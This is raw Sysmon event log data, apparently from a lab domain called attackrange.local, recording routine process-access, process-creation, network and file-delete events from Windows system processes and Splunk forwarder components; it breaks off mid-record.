14:43:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013737Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013736Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013735Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013734Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013733Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013732Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-6F17-613B-9204-00000000F101}3988C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013731Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.676{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F17-613B-9204-00000000F101}3988C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013730Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.677{625C326B-6F17-613B-9204-00000000F101}3988C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000013729Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.410{625C326B-6F17-613B-9104-00000000F101}38122828C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013728Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F17-613B-9104-00000000F101}3812C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013727Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013726Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013725Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013724Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013723Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013722Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013721Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013720Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013719Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013718Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-6F17-613B-9104-00000000F101}3812C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013717Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.160{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F17-613B-9104-00000000F101}3812C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013716Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.163{625C326B-6F17-613B-9104-00000000F101}3812C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000013715Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:33.398{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50106-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013714Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.051{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8BEE068098BE54651C976C387E32C9AA,SHA256=AC114E1D7BAF9CF5CB68D6D1F9A9212104A0FE5C1B33261BE61EA3AC2D82742A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013713Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:35.051{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=E38CFAB1420A3761BCEF761AE911A4C6,SHA256=55EAD041D6CD2B55BD7D30B8C2303DF42953E3282524D254BF0747807127F1CD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:35.007{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=EF2FE33DBD8E415EE4EF949575D73C14,SHA256=5522421ACCE3AA53FA061BA36DF5309EDFEC4EF2BDC96320D5BD0C05915FDC75,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:36.882{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D6F70089FDF7599B8D4F9CA3EA7C9AB,SHA256=C9FFF9F1F06621B4FEC866E720333E623097D98DCE15A8B56378B32A8C716EF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013758Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.318{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5EC7605F1D632DC1C57C1E26E34DF7ED,SHA256=04AA42307478922CD60CFA74F85ACFF7EBF90773B3EDEF94FC8429A6C25EC185,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013757Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.318{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D991F2F6D3C29F797541F001A4124D9F,SHA256=FBC7BC24F6480E76578A84F4A75ACEC68ECC95B568EA9B7CA5BCCCAC66EB6091,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013756Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:36.176{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F18-613B-9304-00000000F101}3540C:\Program 